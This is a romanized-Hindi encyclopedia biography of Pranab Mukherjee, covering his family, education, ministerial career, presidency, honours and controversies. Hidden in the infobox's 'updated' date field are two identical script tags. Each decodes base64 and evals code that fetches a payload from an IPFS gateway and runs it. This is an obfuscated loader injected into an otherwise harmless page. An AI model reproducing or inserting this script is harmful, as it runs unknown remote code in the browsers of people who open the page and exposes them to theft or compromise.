प्रणब मुखर्जी

	pranab mukharji
	pranab mukharji\|200px\|center
poora nam	pranab kumar mukharji
any nam	pranab da, dada, poltoo
janm	11 disanbar, 1935
janm bhoomi	mirati (mirati) gaanv, birabhoom zila, pashchim bangal
abhibhavak	kamada kiankar mukharji aur rajalakshmi mukharji
pati/patni	shubhra mukharji
santan	do putr- abhijit v iandrajit aur ek putri sharmishtha
nagarikata	bharatiy
parti	bharatiy rashtriy kaangres
pad	bharat ke 13vean rashtrapati aur poorv vitt mantri
kary kal	25 julaee, 2012 se 25 julaee, 2017 tak
shiksha	itihas aur rajaniti vijnan mean snatakottar, elelabi
vidyalay	kalakatta vishvavidyalay
bhasha	hindi, aangrezi
puraskar-upadhi	padm vibhooshan, bharat ratn
any janakari	pranab mukharji ko kee pratishthit aur haee prophail mantralay sanbhalane jaisi vishishtata prapt hai. unhoanne raksha mantralay, vitt mantralay, videsh vishayak mantralay, shipiang, rajasv, nauvahan, yatayat, sanchar, vanijy aur udyog, arthik mamale jaise lagabhag sabhi mahattvapoorn mantralayoan mean apani sevaean di haian.
adyatan‎	19:56, 25 julaee 2017 (IST)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

pranab mukharji (aangrezi: Pranab Mukherjee, janm: 11 disambar 1935, pashchim bangal) bharat ke 13vean rashtrapati haian. ve bharatiy rashtriy kaangres ke pramukh neta rahe haian. bharatiy rashtriy kaangres ke netritv vale sanyukt pragatishil gathabandhan (yoopie) ne unhean julaee, 2012 mean bharat ke rashtrapati pad ka ummidavar niyukt kiya tha aur rashtrapati chunav mean pranab mukharji ne virodhi ummidavar pi.e. sangama ko harakar jit hasil ki thi. 25 julaee, 2012 ko pranab mukharji rashtrapati pad ki shapath lekar bharat ke 13vean rashtrapati bane the. bharat ke 14vean rashtrapati ke roop mean ramanath koviand ne pranav mukharji ka karyakal poorn hone ke bad 25 julaee, 2017 ko rashtrapati pad ki shapath grahan ki.

jivan parichay

pranab mukharji ka janm, pashchim bangal ke birabhoom zile ke kiranahar shahar ke ek chhote se gaanv mirati (mirati) mean ek brahman parivar mean 11 disanbar, 1935 mean hua tha. pranab mukharji ke pita shri kamada kiankar mukharji aur mata shrimati rajalakshmi mukharji haian. gramin bangal ke birabhoom mean pale-badhe pranab mukharji apane upanam 'poltoo' ke nam se jane jate the. pranab mukharji ki patni ka nam shubhra mukharji hai. unake do putr- abhijit v iandrajit aur ek putri sharmishtha hai. pranab mukharji ke putr abhijit mukharji sarakari naukari chho dakar rajaniti mean ae pashchim bangal vidhanasabha mean vidhayak haian. unaki beti sharmishtha ek nrityaangana haian. unake bhaee shaanti niketan vishv bharati yoonivarsiti ke iandira gaandhi seantar ph aaur neshanal iantigrashan ke dayarektar pad se ritayar hue hai. pranab mukharji ke pitaji, kamada kiankar mukharji kshetr ke ek pramukh svatantrata senani the aur azadi ki l daee mean apani sakriy bhoomika nibhane ke chalate vah 10 varshoan se jyada samay tak british jeloan mean kaid rahe. unake pitaji 1920 se iandiyan neshanal kaangres (akhil bharatiy kaangres) ke ek sakriy karyakarta the aur sabhi kaangresi aandolanoan mean hissa liya. desh ki ajadi ke bad 1952 se lekar 1964 tak pashchim bangal vidhan parishad ke sadasy rahe the aur virabhoom pashchim bangal zila kaangres kameti ke adhyaksh the. pita ka hath pak d kar hi pranab ne rajaniti mean pravesh kiya.

shiksha

parivar ke mahaul ko dekhate hue yah prakritik taur par svabhavik tha ki ve apane pitaji ke. ke. mukharji ke padachinhoan par chalate. tatkalin kalakatta vishvavidyalay se sanbandhit soori vidyasagar k aaulej se snatak ki pariksha pas karane ke bad pranab mukharji ne kalakatta yoonivarsiti se hi itihas aur rajaniti vijnan mean snatakottar (em.e.) ki padhaee sanpann ki. kolakata vishvavidyalay se qanoon ki upadhi (l aau) ki shiksha ke bad pashchim bangal ke birabhoom zile ke ek k aaulej mean pradhyapak (prophesar) ki naukari shuroo ki.

aranbhik jivan

kairiyar ke shuruati dinoan mean pranab mukharji lanbe samay tak pahale shikshak aur ek vakil ke taur par kam kiya. pranab ne apana kariyar kolakata mean dipti akauanteant janaral ke karyalay mean klark ke roop mean shuroo kiya. isake bad unhoanne patrakar ke roop mean apane kairiyar ko age badhaya. unhoanne jane-mane baangla prakashan sansthan desher dak matribhoomi ki pukar ke lie kam kiya. isake bad vah bangiy sahity parishad ke trasti bane. bad mean nikhil bharat bang sahity sammelan ke adhyaksh bhi bane. yoonivarsiti aauph v aaulvarahaimpatan ne pranab mukharji ko di.lit ki upadhi bhi pradan ki hai.

vyaktitv

pranab mukharji sanjida vyaktitv vale neta haian. parti ke varishthatam neta hone ke karan vah rajaniti ki bhi achchhi samajh rakhate haian. bangali parivar se hone ke karan unhean rabiandr sangit mean atyadhik ruchi hai. pranab mukharji ko pashchim bangal ke any nivasiyoan ki tarah hi maan durga ka upasak bhi mana jata hai aur durga pooja ke dauran ve mata ki upasana bhi karate haian. pranab da mridubhashi, ganbhir aur kam bolane vale hai. pranab ko bagavani, kitabean padhana aur sangit pasand hai. pranab ka pasandida khana hai phish kari. vah mangalavar ko chho dakar qarib-qarib roz hi phish kari khate haian. ve roj subah jaldi uthate haian. pooja ke bad vah apane kam par lag jate haian. din mean ek ghanta sote bhi haian. rat ko sone se pahale ve padhate haian. pranab da roj 18 ghante kam karate haian. unhean padhane, gardaniang v sangit sunane ka bhi shauq hai. sukaant bhattachary ka likha aur hemanta mukharji ka gaya 'abak prithbi' unaka pasandida git hai. isake alava ravindr sangit bhi vo kafi pasand karate haian. isake alava pranab da chakalet khana khoob pasand karate haian. chacha chaudhari ki k aaumiks ke phain rahe haian.

rajanitik parichay

pranab mukharji ke pita kamada mukharji ek lokapriy aur sakriy kaangresi neta the. vah varsh 1952 se 1964 tak bangal vidhanasabha ke sadasy rahe the. pita ka rajaniti se sanbandh hone ke karan pranab mukharji ka rajaniti mean agaman sahaj aur svabhavik tha. pranab mukharji ke rajanitik jivan ki shuruat varsh 1969 mean ki, jab vah pahali bar rajy sabha se chunakar sansad mean ae the. tatkalin pradhanamantri, iandira gaandhi ne inaki yogyata se prabhavit hokar matr 35 varsh ki avastha mean, 1969 mean kaangres parti ki or se rajy sabha ka sadasy bana diya. usake bad ve, 1975, 1981, 1993 aur 1999 mean rajyasabha ke lie phir se nirvachit hue.

kaibinet mantri

usake bad ve 3 sal ke aandar hi varsh 1973 mean keandr sarakar mean pranab mukharji ne kaibinet mantri rahate hue audyogik vikas (iandastriyal devalapameant) mantralay mean up-mantri ka padabhar sanbhala. pranab mukharji san 1974 mean keandr sarakar mean vitt rajy mantri bane. pranab varsh 1982 se 1984 tak kee kaibinet padoan ke lie chune jate rahe. isake bad varsh 1984 mean vah pahali bar bharat ke vitt mantri bane. pranab mukharji ne san 1982-83 ke lie pahala bajat sadan mean pesh kiya. vah 7 bar kaibinet mantri rahe. jisamean 2 bar vanijy mantri, 2 bar videsh mantri aur ek bar raksha mantri jaise mahattvapoorn kaibinet pad shamil haian. 1982-84 mean jab ve bharat ke vitt mantri the to yooromani maigajin ne unaka moolyaankan vishv ke sabase achchhe vitt mantri ke taur par kiya tha.

kaangres se alag parti ka gathan

indira gaandhi ki hatya ke pashchat, rajiv gaandhi sarakar ki kaibinet mean pranab mukharji ko shamil nahian kiya gaya. is bich pranab mukharji ne 1986 mean apani alag rashtriy samajavadi kaangres (rashtriy kaangres samajavadi dal) ka gathan kiya. lekin jald hi varsh 1989 mean rajiv gaandhi se vivad ka nipatara hone ke bad pranab mukharji ne apani parti ko rashtriy kaangres mean mila diya. poorv pradhanamantri pi.vi. narasianh rav unhean parti mean dobara lekar aye the. pranab mukharji kaangres parti ke sarvochch nikay (CWC) kary samiti ke 1978 mean sadasy bane. varsh 1985 tak pranab mukharji pashchim bangal kaangres samiti ke adhyaksh bhi rahe, lekin kam ka bojh badh jane ke karan unhoanne is pad se tyagapatr de diya tha.

lokasabha saansad

pranab mukharji pahali bar vah lokasabha ke lie pashchim bangal ke jangipur nirvachan kshetr se 13 mee 2004 ko chune ge the aur isi kshetr se dubara 2009 mean bhi lokasabha ke lie chune ge. itane saloan tak, rajyasabha ke sadasy ke taur par rajaniti karane ke bad, pranab mukharji pahali bar lokasabha ke ummidavar ke taur par kh de hue aur, pashchim bangal mean kaangres pratyashi ki or se sabase adhik 1, 28,252 matoan se jitane vale sadasy rahe.

lokasabha mean sadan ke neta

[[chitr:Rastrapati_ke_sath.JPG|thumb|left|mahamahim ke sath sarvoday ashram tadiyaanva ki adhyaksha urmila bahan]] 2004 mean kaangres parti ke dobara se satta mean ane ke bad se ve phir se mantrimandal mean varishth sadasy ke taur par shamil hue. san 2004 mean jab kaangres ne gathabandhan sarakar ke agua ke roop mean sarakar banaee to kaangres ke pradhanamantri manamohan sianh sirph ek rajyasabha saansad hi the. isalie pranab mukharji ko lokasabha mean sadan ka neta banaya gaya. mukharji ki amogh nishtha aur yogyata ne unhean soniya gaandhi aur manamohan sianh ke qarib laya. is vajah se jab 2004 mean parti satta mean aee to unhean bharat ke raksha mantri ke pratishthit pad par pahuanchane mean madad mili. 24 aktoobar 2006 ko unhean bharat ka videsh mantri niyukt kiya gaya. raksha mantralay mean unaki jagah e.ke. eantani ne li, jo kaangres ke ek varishth neta aur dakshini rachy keral ke bhootapoorv mukhyamantri rah chuke the. vah yoopie ki sarakar mean 24 janavari 2009 se vitt mantralay ka padabhar sanbhal rahe the.

rajanitik saphar

sadasy, kaangres varkiang kameti (bharatiy rashtriy kaangres ki sabase uchch sanstha, jo parti ke lie nitiyaan nirdharit karati haian) ke sadasy 27 janavari 1978 se 18 janavari 1986 aur phir 10 agast, 1997 se aj tak.
1985 mean pashchim bangal pradesh kaangres kameti ke presideant aur phir, agast 2000 se aj tak.
akhil bharatiy kaangres kameti ke keandriy samiti ke sadasy 1978 se 1986 tak.
koshadhyaksh, akhil bharatiy kaangres samiti, 1978-1979
koshadhyaksh, kaangres (aee) parti in parliyameant 1978-79
akhil bharatiy kaangres samiti ke arthik salahakar ke cheyaramain- 1987-1989
1984, 1991, 1996 aur 1998 mean akhil bharatiy kaangres kamiti (jo sansad ke lie rashtriy star par chunavoan ka sanchalan karati hai,) kaianpen kameti ke cheyaramain.
1998 se 1999 tak akhil bharatiy kaangres samiti ke mahasachiv.
28 joon, 1999 se akhil bharatiy kaangres samiti ke keandriy chunav samanvay samiti ke cheyaramain.
pashchim bangal pradesh kaangres samiti ke adhyaksh ke taur par 12 disanbar, 2001 se ab tak akhil bharatiy kaangres samiti ke keandriy chunav samiti ke sadasy.
25 julaee, 2012 se bharat ke 13vean rashtrapati ke roop mean rashtrapati pad sambhala aur 25 julaee, 2017 ko is pad se sevanivritt hue.

upalabdhiyaan aur yogadan

pranab mukharji ko kee pratishthit aur haee prophail mantralay sanbhalane jaisi vishishtata prapt hai. unhoanne raksha mantralay, vitt mantralay, videsh vishayak mantralay, shipiang, rajasv, nauvahan, yatayat, sanchar, vanijy aur udyog, arthik mamale jaise lagabhag sabhi mahattvapoorn mantralayoan mean apani sevaean di haian.
vah kaangres sansadiy dal aur kaangres vidhayak dal ke neta bhi rah chuke hai. sath-sath vah lokasabha mean sadan ke neta, bangal pradesh kaangres parti ke adhyaksh, kaangres ke netritv vali sarakar ke pradhanamantri manamohan sianh ki mantriparishad mean keandriy vitt mantri rah chuke hai.
lokasabha chunavoan se pahale jab pradhanamantri ne baee-pas sarjari karaee, pranab, videsh mantralay mean keandriy mantri hone ke bavajood rajanitik mamaloan ki kaibinet samiti ke adhyaksh aur vitt mantralay mean keandriy mantri ka atirikt prabhar lekar mantrimandal ke sanchalan mean mahattvapoorn bhoomika nibhaee.
pichhale kee saloan tak vah kaangres ke mistar bharosemand rahe haian. bharatiy rajaniti, arthik mamaloan v nitigat muddoan ki gahari samajh rakhane vale pranab ko pradhanamantri manamohan sianh ki kebinet mean sabase anubhavi mana jata hai. pranab ko sanpoorn rajanitijn mana jata hai.
10 aktoobar 2008 ko pranab mukharji aur ameriki videsh sachiv koandolija rais ne dhara 123 samajhaute par hastakshar kie.
pranab mukharji aantararashtriy mudra kosh ke vishv baiank (iantaraneshan m aaunitari phand), eshiyaee vikas baiank (eshiyan devalapameant baiank) aur aphriki vikas baiank (aphrikan devalapameant baiank) ke aantararashtriy mudra kosh (aeeemeph) ke gavarnaroan se ek rah chuke haian.
rajiv gaandhi ki mrityu ke pashchath jab soniya gaandhi ne rajaniti mean ane ka nirnay liya tab pranab mukharji ne unake salahakar aur margadarshak ke roop mean bhi apani sevaean di. kaangres ke lie apani pratibaddhata darshane ke bad hi soniya gaandhi aur pradhanamantri manamohan sianh dvara pranab mukharji ko varsh 2004 mean raksha mantralay sauanpa gaya.
varsh 2005 mean peteant sanshodhan adhiniyam ke dauran jab yoopie saansadoan ke bhitar manamutav paida ho gaya, jisaki vajah se koee ray nahian ban pa rahi the, aise samay mean pranab mukharji ne apani soojhaboojh aur kushal rananiti ka parichay dekar, jyoti basu sahit kee purane gathabandhanoan ko manakar madhyasthata ke kuchh naye biandu tay kiye, jisamean utpad peteant ke alava aur kuchh aur batean shamil thian. tab unhean, vanichy mantri kamal nath sahit apane sahayogiyoan yah kahakar manana p da ki koee qanoon nahian rahane se behatar hai ek apoorn qanoon banana. aant mean 23 march 2005 ko bil ko manjoori de di gee.
manamohan sarakar ke doosare karyakal mean pranab mukharji ko dobara vitt-mantralay ka karyabhar pradan kiya gaya.
mukharji ki vartaman virasat mean ameriki sarakar ke sath asainik paramanu samajhaute par bharat-amerika ke saphalatapoorvak hastakshar aur paramanu aprasar sandhi par dastakhat nahian hone ke bavajood asainy paramanu vyapar mean bhag lene ke lie paramanu apoortikarta samooh ke sath hua hastakshar shamil hai.
san 2007 mean unhean bharat ke doosare sabase b de nagarik samman padm vibhooshan se navaja gaya.
unhoanne rashtriy gramin rozagar garanti adhiniyam, l dakiyoan ki saksharata aur svasthy jaise samajik kshetr ki yojanaoan ke lie aur dhan ka pravadhan kiya. isake alava unhoanne rashtriy rajamarg vikas karyakram, bijalikaran ka vistar aur javahar lal neharoo rashtriy shahari navikaran mishan ki tarah buniyadi suvidhaoan vale karyakramoan ka bhi vistar kiya. halaanki, kee logoan ne 1991 ke bad se sabase adhik badh rahe rajakoshiy ghate ke bare mean chianta vyakt ki. shri mukharji ne kaha ki sarakari kharch mean vistar keval asthayi hai aur sarakar vittiy dooradarshita ke siddhaant ke prati pratibaddh hai.

samman aur puraskar

1984 : duniya ke shirsh paanch vittamantriyoan ki soochi mean sthan diya gaya
1997 : sarvashreshth saansad ke samman se sammanit
2008 : padmavibhooshan samman
2019 : bharat ratn samman

pranab mukharji se ju de vivad

apatakal ke dauran pranab mukharji, indira gaandhi sarakar mean kaibinet mantri rah chuke haian. isi dauran un par kee galat vyaktigat nirnay lene jaise ganbhir arop lage. pranab mukharji ke khilaf pulis kes bhi darj kiya gaya, lekin indira gaandhi ke vapas satta mean ate hi vah kes kharij ho gaya.
videsh mantri rahate hue, vivadit baangladeshi lekhika taslima nasarin ko ghar mean najaraband rakh suraksha pradan karane ke pranab mukharji ke nirnay par lagabhag sabhi musalaman samudayoan ne apatti uthaee aur pranab mukharji ke khilaf pradarshan kie. parinamasvaroop taslima nasarin ko 2008 mean bharat se bahar jana p da.
pranab mukharji par yah bhi arop lage ki unhoanne niji baiankoan ko gujarat mean nivesh na karane ki dhamaki di hai kyoanki vahaan bharatiy janata parti ki sarakar hai.

pranab mukharji ke jivan se ju di rochak batean

nanbar 13 se ajab rishta

pranab mukharji ka 13 se anokha nata raha hai. ve 13 vean rashtrapati banane ke lie maidan mean utare. 13 nanbar ka bangala hai dilli mean. 13 tarikh ko ati hai shadi ki salagirah. itana hi nahian 13 joon, 2012 ko hi mamata ne pranab ka nam uchhala tha.

'tum isi laiph mean banoge rashtrapati'

jab 1969 mean pranab rajyasabha ke sadasy bane to unaka adhikarik ghar rashtrapati sanpada ke pas hi tha. rashtrapati bhavan ke thath ko pranab khoob nihara karate the. ek din unhoanne rashtrapati ki gho de vali baggi ko dekhakar apani bahan annapoorna banarji se kaha ki is alishan rashtrapati bhavan ka anand uthane ke lie vo agale janm mean gho da banana pasand kareange. lekin tab unaki bahan ne unhean kaha tha - 'isake lie tumhean agale janm tak rukana nahian p dega balki isi janm mean tumhean isamean rahane ka mauka milega.'

bachapan se hi the jiddi

pranab mukharji ke jo tevar aj dikhate haian vahi tevar aj bachapan mean bhi dikhate the. apani jidd ke chalate unhoanne praranbhik shiksha ke dauran dabal promoshan paya. darasal doosari kaksha mean unhoanne apane parivar valoan se mirati gaanv ke skool jane se iankar kar diya. vah kiranahar sthit skool mean pravesh pana chahate the. kiranahar sthit skool paanchavi kaksha se tha. aise mean pranab ne kiranahar ke skool mean sidhe paanchavian kaksha mean pravesh pane ke test diya aur use pas bhi karake dikhaya.

virabhoom se do deshoan ke rashtrapati

pranab ke rashtrapati banane par virabhoom ka nam aise ziloan mean shumar ho jaega jahaan se do deshoan ke rashtrapati sanbandh rakhate haian. pranab se pahale isi zile mean janme abdul sattar (dakar gaanv mean janme) 1981 se 1982 tak baangladesh ke rashtrapati rahe. asal mean vah vibhajan ke bad dhaka chale ge the.

pratyashi rahate hue vot

d aau. phakharooddin ali ahamad aur jnani jail sianh ke bad vah tisare vyakti haian jinhoanne rashtrapati ke pratyashi rahate hue vot dala.^[1]

bharat ke rashtrapati

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poorvadhikari
pratibha patil

pranab mukharji

uttaradhikari
ramanath koviand